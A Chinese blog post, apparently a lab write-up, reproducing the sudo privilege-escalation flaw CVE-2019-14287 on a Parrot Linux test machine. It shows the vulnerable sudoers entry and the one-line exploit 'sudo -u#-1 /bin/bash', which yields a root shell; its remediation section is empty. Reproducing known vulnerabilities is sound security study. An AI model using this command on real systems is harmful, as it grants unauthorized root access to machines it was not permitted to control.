java漏洞提权_【漏洞复现】CVE-2019-14287 sudo提权漏洞复现

bce285eb9b5c88352711173e29dd6b42.png

漏洞描述#

2019年10月14日,CVE官方发布了CVE-2019-14287的漏洞预警。通过特定payload,用户可提升至root权限。

Sudo 的全称是“superuserdo”,它是Linux系统管理指令,允许用户在不需要切换环境的前提下以其它用户的权限运行应用程序或命令,通常是以 root 用户身份运行命令,以减少 root 用户的登录和管理时间,同时提高安全性。

2019年10月14日,Sudo官方发布了Sudo 1.8.28版本,其中包含sudo root权限绕过漏洞的补丁修复,该漏洞编号为CVE-2019-14287。

利用前提

sudo -v < 1.8.28

知道当前用户的密码

当前用户存在于sudo权限列表

漏洞复现#

环境:

Linux parrot

Linux parrot 4.19.37-parrot1-amd64 #1 SMP Parrot 4.19.37-5parrot1 (2019-06-22) x86_64 GNU/Linux

前提,查看sudo版本,确定是否小于1.8.28

sudo -V

2ec1de815c342a9aa6feedf8bff76e3d.png

编辑/etc/sudoers文件,增加对shungg账户设置的权限

vi /etc/sudoers

shungg  ALL=(ALL,!root) /bin/bash

503c9bbf524a26b8dcfa64218b9711a2.png

wq! 保存退出.

shungg用户登录执行

sudo -u#-1 /bin/bash

ff40a137cfd6700a6498253199cda121.png

漏洞利用成功。

修复建议#

由 @shungg 改版而来

喜欢 (4)or分享 (0)

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值